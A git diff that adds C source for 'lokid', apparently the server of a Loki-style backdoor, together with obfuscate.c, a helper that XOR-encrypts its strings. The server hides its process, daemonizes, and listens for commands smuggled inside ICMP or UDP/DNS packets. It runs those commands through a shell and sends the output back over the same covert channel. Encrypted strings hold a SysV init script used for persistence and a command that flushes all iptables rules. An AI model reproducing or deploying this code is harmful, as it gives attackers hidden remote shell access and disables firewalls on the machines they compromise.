+estring S_STAT_CLIENT_ID = { "\x60\x98\x26\xeb\x77\x00\x9e\x97\x47\xce\x46\x87\x3c\x10\xb4", 15, "\x03\xf4\x4f\x8e\x19\x74\xbe\xde", 8 }; // client ID:\t\t%d\n
+estring S_STAT_PACKETS_WRITTEN = { "\x59\xb5\xc1\xcf\x24\x9a\x5b\xfa\x5e\xa6\xcb\xd0\x35\x8b\x46\xe0\x20\xf1\xc6\xae", 20, "\x29\xd4\xa2\xa4\x41\xee\x28\xda", 8 }; // packets written:\t%d\n
+estring S_STAT_BYTES_WRITTEN = { "\xc5\x8e\xa8\x1d\x6b\xd6\xf3\x9d\xce\x83\xa8\x1d\x76\xcc\x8d\xe6\x82\x93\xd6", 19, "\xa7\xf7\xdc\x78\x18\xf6\x84\xef", 8 }; // bytes written:\t\t%d\n
+estring S_STAT_REQUESTS = { "\x54\x1a\xd9\x40\x1c\x26\x5b\xf2\x1c\x76\xa1\x10\x1d\x5f", 14, "\x26\x7f\xa8\x35\x79\x55\x2f\x81", 8 }; // requests:\t\t%d\n
+
+estring S_MSG_SHM_SEGMENT_ERROR = { "\x46\x35\xd6\x98\x77\xad\x2a\x3b\x6e\x3b\xd6\x9e\x73\xa5\x57\x76\x78\x3e\x97\x9f\x73\xa6\x1a\x7e\x73\x27\x97\x9e\x73\xb0\x02\x7e\x6e\x27\x97\x89\x64\xb3\x18\x69", 40, "\x1d\x53\xb7\xec\x16\xc1\x77\x1b", 8 }; // [fatal] shared mem segment request error
+estring S_MSG_SEMAPHORE_ALLOCATION_ERROR = { "\x7c\x36\x46\x73\xb3\x3d\x34\xdc\x54\x35\x4a\x66\xa2\x39\x06\x8e\x42\x70\x46\x6b\xbe\x3e\x0a\x9d\x53\x39\x48\x69\xf2\x34\x1b\x8e\x48\x22", 34, "\x27\x50\x27\x07\xd2\x51\x69\xfc", 8 }; // [fatal] semaphore allocation error
+estring S_MSG_CANNOT_LOCK_MEMORY = { "\x9f\x90\x84\x39\xf7\x83\x42\x2e\xa7\x99\x90\x21\xf2\xcf\x71\x61\xb0\xd6\x89\x22\xf5\x84\x3f\x63\xa1\x9b\x8a\x3f\xef", 29, "\xc4\xf6\xe5\x4d\x96\xef\x1f\x0e", 8 }; // [fatal] could not lock memory
+estring S_MSG_CANNOT_UNLOCK_MEMORY = { "\xa5\x15\x5e\xbb\x3c\x94\x01\x5a\x9d\x1c\x4a\xa3\x39\xd8\x32\x15\x8a\x53\x4a\xa1\x31\x97\x3f\x11\xde\x1e\x5a\xa2\x32\x8a\x25", 31, "\xfe\x73\x3f\xcf\x5d\xf8\x5c\x7a", 8 }; // [fatal] could not unlock memory
+
+estring S_SYSV_SERVICE = { "\xd6\x4a\x5a\xc1\x2d\x8d\x05\x6f\x9d\x61\x56\x80\x67\xc3\x68\x59\xb2\x22\x3b\x83\x0d\xad\x63\x48\xd5\x22\x3b\xe5\x0b\xe9\x09\x3c\xa5\x19\x1a\xd5\x2d\x87\x4f\x6f\xcf\x4b\x50\xd0\x4e\xc0\x0a\x58\x90\x0d\x14\xd6\x28\x97\x07\x4f\x81\x0a\x07\xd7\x7e\xc3\x18\x3c\xc6\x4b\x41\x83\x71\xe9\x09\x3c\xb1\x0e\x13\xc2\x31\x8f\x5e\x31\xa6\x1f\x1a\xd3\x7e\xc3\x1a\x3c\xc4\x4b\x43\xa9\x67\xc3\x79\x74\x9a\x19\x01\x8e\x00\x86\x59\x7f\x87\x02\x05\xd7\x2d\x8c\x44\x26\xd5\x4e\x06\xa9\x67\xc3\x6e\x79\x86\x08\x07\xca\x34\x97\x43\x73\x9b\x51\x55\x86\x37\xe9\x09\x3f\xd6\x4b\x30\xed\x00\xc3\x63\x52\xbc\x3f\x55\xea\x0a\xa5\x65\x16\xff\x08\x14\xd0\x21\xc3\x08\x38\xc4\x49\x55\xca\x2a\xe9\x0a\x3c\xd5\x4b\x06\xd7\x25\x91\x5e\x35\xff\x4b\x55\x83\x64\xc3\x0a\x3c\xd5\x4e\x06\x83\x62\xe9\x0a\x3c\xd5\x4b\x55\x83\x64\xc3\x11\x27\xff\x0e\x06\xc2\x27\xe9\x4f\x64\x9c\x1f\x55\x93\x4e", 213, "\xf5\x6b\x75\xa3\x44\xe3\x2a\x1c", 8 }; // #!/bin/sh\n### BEGIN INIT INFO\n# Provides: %s\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: %s\n# Description: %s\n### END INIT INFO\n\ncase "$1" in\n start)\n\n %s &\n ;;\nesac\nexit 0\n
+
+estring S_CMD_FLUSH_IPTABLES = { "\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xaf\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a\xf3\xac\xa7\xde\xfd\x64\x86\xd9\xbb\xee\x9e\xf1\x93\x03\xce\x85\xba\xa3\x84\xfd\xc0\x42\x9b\x9f\xb8\xf8\x96\xfd\xc5\x49\xc8\xd6\xe5\xca\xd7\xad\x97\x0c\x94\x92\xad\xfa\xd8\xf1\xdc\x40\xd7\xcd\xe8\xdc\xb6\xcb\xe1\x11\x94\x85\xaa\xe5\x99\xa5\x86\x59\xc8\x84\xe7\xff\x95\xf6\xc7\x0c\xd2\x86\xbc\xed\x95\xf3\xcc\x5f\x9b\xdb\xbc\xac\x99\xfe\xdd\x0c\x96\xb0\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xa6\xed\x83\xbf\x84\x74\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xd6\x97\xa6\xeb\x9b\xfa\x89\x01\xfd\xd6\xfa\xb2\xd7\xb0\xcd\x49\xcd\xd9\xa6\xf9\x9b\xf3\x92\x0c\xeb\xb7\x9c\xc4\xca\xb0\xda\x4e\xd2\x98\xf2\xa3\x82\xec\xdb\x03\xc8\x94\xa1\xe2\xd7\xf6\xd9\x58\xda\x94\xa4\xe9\x84\xbf\x84\x58\x9b\x9b\xa9\xe2\x90\xf3\xcc\x0c\x96\xae\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xba\xed\x80\xbf\x84\x6a\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xc9\x97\xbf\xac\xda\xc7\x89\x1e\x85\xd6\xe7\xe8\x92\xe9\x86\x42\xce\x9a\xa4\xb7\xd7\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xa7\xbf\xe0\x62\xeb\xa3\x9c\xac\xb6\xdc\xea\x69\xeb\xa2\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xeb\xd6\x8e\xc3\xa5\xc8\xe8\x7e\xff\xd6\x89\xcf\xb4\xda\xf9\x78\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xf9\x0c\xf4\xa3\x9c\xdc\xa2\xcb\x89\x6d\xf8\xb5\x8d\xdc\xa3\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a", 605, "\x9f\xa9\x2c\xbb\xf6\xc8\x8c\xf7", 8 }; // PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null
+
+
+int main(int argc, char *argv[]) {
+ static int one = 1, c, cflags = 0;
+ uint8_t buf1[BUFSIZE] = {0};
+ pid_t pid = 0;
+ char *dbuf; /* For deobfuscating strings */
+#ifdef POPEN
+ FILE *job = NULL;
+ char buf2[BUFSIZE] = {0};
+#endif /* POPEN */
+
+
+ /* ensure we have proper permissions */
+ if (geteuid() || getuid()) {
+ err_exit(0, 1, 1, decrypt(S_MSG_NOPRIV));
+ }
+
+ while ((c = getopt(argc, argv, "v:p:")) != EOF) {
+ switch (c) {
+ case 'v': /* change verbosity */
+ verbose = atoi(optarg);
+ break;
+
+ case 'p': /* choose transport protocol */
+ switch (optarg[0]) {
+ case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
+ prot = IPPROTO_ICMP;
+ break;
+
+ case 'u': /* DNS query / reply */
+ prot = IPPROTO_UDP;
+ break;
+
+ default:
+ err_exit(1, 0, 1, decrypt(S_MSG_UNKNOWN_TRANSPORT));
+ }
+
+ break;
+
+ default:
+ err_exit(0, 0, 1, decrypt(S_MSG_USAGE));
+ }
+ }
+
+ /* Attempt to hide process */
+ prochide(argc, argv);
+
+ if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) {
+ err_exit(1, 1, 1, decrypt(S_MSG_SOCKET));
+ }
+
+ if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
+ err_exit(1, 1, 1, decrypt(S_MSG_SOCKET));
+ }
+
+#ifdef DEBUG
+ fprintf(stderr, "[DEBUG]\tRaw IP socket: ");
+ fd_status(ripsock, OK);
+#endif /* DEBUG */
+
+#ifdef IP_HDRINCL
+ if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
+ if (verbose) {
+ dbuf = decrypt(S_MSG_IP_HDRINCL);
+ perror(dbuf);
+ destroy(dbuf, S_MSG_IP_HDRINCL.size);
+ }
+#endif /* IP_HDRINCL */
+
+ /* power up shared memory segment and semaphore, register dump_shm
+ to be called upon exit */
+ prep_shm();
+ if (atexit(dump_shm) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_ATEXIT));
+ }
+
+ dbuf = decrypt(S_MSG_BANNER);
+ fprintf(stderr, "%s", dbuf);
+ destroy(dbuf, S_MSG_BANNER.size);
+
+ time(&uptime); /* server uptime timer */
+
+#ifndef DEBUG
+ shadow(); /* go daemon */
+#endif /* DEBUG */
+
+ destroy_shm = OK; /* if this process exits at any point from
+ hereafter, mark shm as destroyed */
+
+ /* Every KEY_TIMER seconds, we should check the client_key list
+ and see if any entries have been idle long enough to expire
+ them. */
+ if (signal(SIGALRM, client_expiry_check) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM));
+ }
+
+ alarm(KEY_TIMER);
+
+#ifdef PERSISTENCE
+ /* SIGTERM Persistence */
+ unlink_persistence();
+
+ if (signal(SIGTERM, handle_sigterm) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGTERM));
+ }
+#endif /* PERSISTENCE */
+
+ if (signal(SIGCHLD, reaper) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD));
+ }
+
+ for (;;) {
+ cflags &= ~VALIDP; /* Blocking read */
+ c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);
+
+ switch (prot) { /* Is this a valid Loki packet? */
+ case IPPROTO_ICMP:
+ if ((IS_GOOD_ITYPE_D(rdg))) {
+ cflags |= VALIDP;
+ c_id = rdg.ttype.icmph.icmp_id;
+ }
+ break;
+
+ case IPPROTO_UDP:
+ if ((IS_GOOD_UTYPE_D(rdg))) {
+ cflags |= VALIDP;
+ c_id = rdg.ttype.udph.uh_sport;
+ }
+ break;
+
+ default:
+ err_exit(1, 0, verbose, decrypt(S_MSG_WIERDERR));
+ }
+
+ if (cflags & VALIDP) {
+#ifdef DEBUG
+ fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
+ PACKET_TYPE(rdg);
+ DUMP_PACKET(rdg, c);
+#endif /* DEBUG */
+ switch (pid = fork()) {
+ case 0:
+ destroy_shm = NOK; /* child should NOT mark segment as
+ destroyed when exiting... */
+
+/* TLI seems to have problems in passing socket file desciptors around */
+#ifdef SOLARIS
+ close(ripsock);
+ if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
+ err_exit(1, 1, 1, decrypt(S_MSG_SOCKET));
+ }
+#ifdef DEBUG
+ fprintf(stderr, "\n[DEBUG]\tRaw IP socket: ");
+ fd_status(ripsock, OK);
+#endif /* DEBUG */
+#endif /* SOLARIS */
+ break;
+
+ default: /* parent will loop forever spawning children
+ if we do not zero rdg */
+ bzero((struct loki *)&rdg, LOKIP_SIZE);
+ cflags &= ~VALIDP;
+ continue;
+
+ case -1: /* fork error */
+ err_exit(1, 1, verbose, decrypt(S_MSG_FORK_ERROR));
+ }
+
+ if (((c = add_client((uint8_t *)NULL)) == -1)) {
+ lokid_xmit((uint8_t *)S_MSG_PACKED, LP_DST, L_ERR, NOCR); //xxx
+ lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
+ err_exit(1, 0, verbose, decrypt(S_MSG_CANNOT_ADD_KEY));
+ }
+
+ /* unload payload */
+ bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
+ blur(DECR, BUFSIZE - 1, buf1);
+
+ /* parse escaped command */
+ if (buf1[0] == '/') {
+ d_parse(buf1, pid, ripsock);
+ }
+
+#ifdef POPEN /* popen the shell command and execute it inside of /bin/sh */
+ if (!(job = popen((char *)buf1, "r"))) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_POPEN));
+ }
+
+ while (fgets(buf2, BUFSIZE - 1, job)) {
+ bcopy(buf2, buf1, BUFSIZE);
+ lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
+ }
+ lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
+ update_client(locate_client(FIND), p_sent, b_sent);
+ clean_exit(0); /* exit the child after sending the last packet */
+#endif /* POPEN */
+ }
+ }
+}
+
+
+/*
+ * Build and transmit Loki packets (server-side version)
+ */
+int lokid_xmit(uint8_t *payload, uint32_t dst, int ptype, int crypt_flag) {
+ struct sockaddr_in sin;
+ int i = 0;
+ char *dbuf;
+
+
+ bzero((struct loki *)&sdg, LOKIP_SIZE);
+
+ sin.sin_family = AF_INET;
+ sin.sin_addr.s_addr = dst;
+ sdg.payload[0] = ptype; /* set packet type */
+
+ /* Do not encrypt error or public key reply packets */
+ if (crypt_flag == OKCR)
+ blur(ENCR, BUFSIZE - 1, payload);
+ bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
+
+ if (prot == IPPROTO_ICMP) {
+#ifdef NET3 /* Our workaround. */
+ sdg.ttype.icmph.icmp_type = ICMP_ECHO;
+#else
+ sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
+#endif /* NET3 */
+ sdg.ttype.icmph.icmp_code = 0;
+ sdg.ttype.icmph.icmp_id = c_id; /* client ID */
+ sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
+ sdg.ttype.icmph.icmp_cksum =
+ i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
+ }
+
+ if (prot == IPPROTO_UDP) {
+ sdg.ttype.udph.uh_sport = NL_PORT;
+ sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport;
+ sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
+ sdg.ttype.udph.uh_sum =
+ i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
+ }
+ sdg.iph.ip_v = 0x4;
+ sdg.iph.ip_hl = 0x5;
+ sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
+ sdg.iph.ip_ttl = 0x40;
+ sdg.iph.ip_p = prot;
+ sdg.iph.ip_dst = sin.sin_addr.s_addr;
+
+#ifdef SEND_PAUSE
+ usleep(SEND_PAUSE);
+#endif /* SEND_PAUSE */
+
+ if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE) {
+ if (verbose){
+ dbuf = decrypt(S_MSG_TRUNCATED_WRITE);
+ perror(dbuf);
+ destroy(dbuf, S_MSG_TRUNCATED_WRITE.size);
+ }
+ } else { /* Update global stats */
+ b_sent += i;
+ p_sent ++;
+ }
+ return (i < 0) ? 0 : i; /* Make snocrash happy (return bytes written,
+ * or return 0 if there was an error) */
+}
+
+
+/*
+ * Keep child proccesses from zombiing on us
+ */
+void reaper(int signo) {
+ int sys = 0;
+
+ wait(&sys); /* get child's exit status */
+
+ /* re-establish signal handler */
+ if (signal(SIGCHLD, reaper) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD));
+ }
+}
+
+
+/*
+ * Simple daemonizing procedure.
+ */
+void shadow() {
+ int n;
+ int fd = 0;
+
+ close(STDIN_FILENO); /* We no longer need STDIN */
+ if (!verbose) { /* Get rid of these also */
+ close(STDOUT_FILENO);
+ close(STDERR_FILENO);
+ }
+
+ /* Ignore read/write signals from/to the controlling terminal. */
+ signal(SIGTTOU, SIG_IGN);
+ signal(SIGTTIN, SIG_IGN);
+ signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */
+
+ switch (fork()) {
+ case 0: /* child continues */
+ break;
+
+ default: /* parent exits */
+ clean_exit(0);
+
+ case -1: /* fork error */
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DAEMONIZE));
+ }
+
+ /* Create a new session and set this process to be the group leader. */
+ if (setsid() == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CREATE_SESSION));
+ }
+
+ /* Detach from controlling terminal */
+ if ((fd = open("/dev/tty", O_RDWR)) >= 0) {
+ if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DETACH_TERMINAL));
+ }
+ close(fd);
+ }
+
+ errno = 0; // TODO why is this being set?
+
+ n = chdir(WORKING_ROOT); /* Working dir should be the root */
+ if (n == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CHDIR));
+ }
+
+ umask(0); /* File creation mask should be 0 */
+}
+
+
+/*
+ * Parse escaped commands (server-side version)
+ */
+void d_parse(uint8_t *buf, pid_t pid, int ripsock) {
+ uint8_t buf2[4 * BUFSIZE] = {0};
+ int n = 0, m = 0;
+ uint32_t client_ip = 0;
+ char *dbuf;
+
+
+ /* client request for an all kill */
+ if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) {
+ if (verbose) {
+ dbuf = decrypt(S_MSG_CLIENT_ALL_KILL);
+ fprintf(stderr, dbuf, c_id);
+ destroy(dbuf, S_MSG_CLIENT_ALL_KILL.size);
+ }
+
+ while (n < MAX_CLIENT) { /* send notification to all clients */
+ if ((client_ip = check_client_ip(n++, &c_id))) {
+ if (verbose) {
+ dbuf = decrypt(S_MSG_SENDING_L_QUIT);
+ fprintf(stderr, dbuf, c_id, host_lookup(client_ip));
+ destroy(dbuf, S_MSG_SENDING_L_QUIT.size);
+ }
+
+ lokid_xmit(buf, client_ip, L_QUIT, NOCR);
+ }
+ }
+
+ if (verbose) {
+ dbuf = decrypt(S_MSG_CLIENTK);
+ fprintf(stderr, "%s", dbuf);
+ destroy(dbuf, S_MSG_CLIENTK.size);
+ }
+
+ /* send a SIGKILL to all the processes in the servers group... */
+ if ((kill(-pid, SIGKILL)) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PROCESS_GROUP));
+ }
+
+ clean_exit(0);
+ }
+ /* client is exited, remove entry from the client list */
+ if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) {
+ if ((m = locate_client(DESTROY)) == -1) {
+ err_exit(1, 0, verbose, decrypt(S_MSG_UNKNOWN));
+ }
+
+ else if (verbose) {
+ dbuf = decrypt(S_MSG_CLIENT_FREED);
+ fprintf(stderr, dbuf, c_id, m);
+ destroy(dbuf, S_MSG_CLIENT_FREED.size);
+ }
+
+ clean_exit(0);
+ }
+
+ /* stat request */
+ if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) {
+ bzero((uint8_t *)buf2, 4 * BUFSIZE);
+ /* Ok. This is an ugly hack to keep packet counts in sync
+ * with the stat request. We know the amount of packets we
+ * are going to send (and therefore the byte count) in advance
+ * so we can preload the values.
+ */
+ update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
+ n = stat_client(locate_client(FIND), buf2, prot, uptime);
+
+ /* breakdown payload into BUFSIZE-1 chunks, suitable for transmission */
+ for (; m < n; m += (BUFSIZE - 1)) {
+ bcopy(&buf2[m], buf, BUFSIZE - 1);
+ lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
+ }
+ lokid_xmit(buf, LP_DST, L_EOT, OKCR);
+ clean_exit(0); /* exit the child after sending the last packet */
+ }
+
+ if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) {
+ if (kill(getppid(), SIGUSR1)) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PARENT));
+ }
+ clean_exit(0);
+ }
+
+ /* unsupport/unrecognized command */
+ dbuf = decrypt(S_MSG_UNSUP);
+ lokid_xmit((uint8_t *)dbuf, LP_DST, L_REPLY, OKCR);
+ destroy(dbuf, S_MSG_UNSUP.size);
+
+ lokid_xmit(buf2, LP_DST, L_EOT, OKCR);
+
+ update_client(locate_client(FIND), p_sent, b_sent);
+ clean_exit(0); // TODO should this exit if an unknown command is sent?
+}
+
+
+/*
+ * Swap transport protocols. This is called as a result of SIGUSR1 from
+ * a child server process.
+ */
+void swap_t(int signo) {
+ int n = 0;
+ uint32_t client_ip = 0;
+ struct protoent *pprot = 0;
+ char buf[BUFSIZE] = {0};
+ char *dbuf;
+
+
+ if (verbose) {
+ char *str = decrypt(S_MSG_CLIENT_PROTO_SWAP);
+ fprintf(stderr, str, c_id);
+ destroy(str, S_MSG_CLIENT_PROTO_SWAP.size);
+ }
+
+ while (n < MAX_CLIENT) {
+ if ((client_ip = check_client_ip(n++, &c_id))) {
+ char *str = decrypt(S_MSG_SEND_PROTO_UPDATE);
+
+ fprintf(stderr, str, c_id, host_lookup(client_ip), n);
+
+ lokid_xmit((uint8_t *)buf, client_ip, L_REPLY, OKCR);
+ lokid_xmit((uint8_t *)buf, client_ip, L_EOT, OKCR);
+
+ destroy(str, S_MSG_SEND_PROTO_UPDATE.size);
+
+ //update_client(locate_client(FIND), p_sent, b_sent);
+ }
+ }
+
+ close(tsock);
+
+ prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
+
+ if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SOCKET));
+ }
+
+ pprot = getprotobynumber(prot);
+
+ dbuf = decrypt(S_MSG_PROTOCOL_CHANGED);
+ sprintf(buf, dbuf, pprot -> p_name);
+ destroy(dbuf, S_MSG_PROTOCOL_CHANGED.size);
+
+ fprintf(stderr, "\n%s", buf);
+
+ lokid_xmit((uint8_t *)buf, LP_DST, L_REPLY, OKCR);
+ lokid_xmit((uint8_t *)buf, LP_DST, L_EOT, OKCR);
+
+ update_client(locate_client(FIND), p_sent, b_sent);
+
+ /* re-establish signal handler */
+ if (signal(SIGUSR1, swap_t) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGUSR1));
+ }
+}
+
+/* EOF */
diff --git a/obfuscate.c b/obfuscate.c
new file mode 100644
index 0000000..98e77db
--- /dev/null
+++ b/obfuscate.c
@@ -0,0 +1,144 @@
+#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+#define CSTROBF_MAX 1024
+#define KEY_SIZE 8
+
+
+typedef struct cstrobf {
+ uint8_t str[CSTROBF_MAX];
+ size_t size;
+ uint8_t key[KEY_SIZE];
+ size_t ksize;
+} estring;
+
+
+
+char *decrypt(estring encrypted) {
+ int i;
+ char buf[CSTROBF_MAX] = {0};
+
+ for (i = 0; i < encrypted.size; i++)
+ buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize];
+
+ return strdup(buf);
+}
+
+void destroy(char *buf, size_t len) {
+ for(int i = 0; i < len; i++)
+ buf[i] = rand() % 256;
+ free(buf);
+}
+
+void encrypt(const char *varname, const uint8_t *buf) {
+ int i;
+ uint8_t ebuf[CSTROBF_MAX] = {0};
+ uint8_t key[KEY_SIZE] = {0};
+ size_t len;
+
+
+ len = strlen(buf);
+
+ for (i = 0; i < KEY_SIZE; i++)
+ key[i] = rand() % 256;
+
+ for (i = 0; i < len; i++)
+ ebuf[i] = buf[i] ^ key[i % KEY_SIZE];
+
+ /* ughly ass print this to stdout. if you don't want a newline,
+ whack off the last byte, and decrease the size by one */
+ printf("estring %s = { \"", varname);
+ for (i = 0; i < len; i++)
+ printf("\\x%02x", ebuf[i]);
+ printf("\", %ld, \"", len);
+ for (i = 0; i < KEY_SIZE; i++)
+ printf("\\x%02x", key[i]);
+ printf("\", %d }; // %s\n", KEY_SIZE, buf);
+}
+
+int main(int argc, char *argv[]) {
+ srand(time(NULL));
+
+ //estring L_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n
+
+ //char *d = decrypt(L_MSG_BANNER);
+ //printf("%s", d); destroy(d, L_MSG_BANNER.size);
+
+
+ //encrypt("S_STAT_REQUESTS", "requests:\t\t%d\n");
+ //encrypt("S_STAT_BYTES_WRITTEN", "bytes written:\t\t%d\n");
+ //encrypt("S_STAT_PACKETS_WRITTEN", "packets written:\t%d\n");
+ //encrypt("S_STAT_CLIENT_ID", "client ID:\t\t%d\n");
+ //encrypt("S_STAT_UPTIME", "server uptime:\t\t%.02f minutes\n");
+ //encrypt("S_STAT_CRYPTO", "active cryptography:\t%s\n");
+ //encrypt("S_STAT_TRANSPORT", "active transport:\t%s\n");
+ //encrypt("S_STAT_INTERFACE", "remote interface:\t%s\n");
+ //encrypt("S_STAT_VERSION", "\nlokid version:\t\t%s\n");
+
+
+ encrypt("S_SYSV_SERVICE", "#!/bin/sh\n"
+ "### BEGIN INIT INFO\n"
+ "# Provides: %s\n"
+ "# Default-Start: 2 3 4 5\n"
+ "# Default-Stop: 0 1 6\n"
+ "# Short-Description: %s\n"
+ "# Description: %s\n"
+ "### END INIT INFO\n\n"
+ "case \"$1\" in\n"
+ " start)\n"
+ " %s &\n"
+ " ;;\n"
+ "esac\n"
+ "exit 0\n");
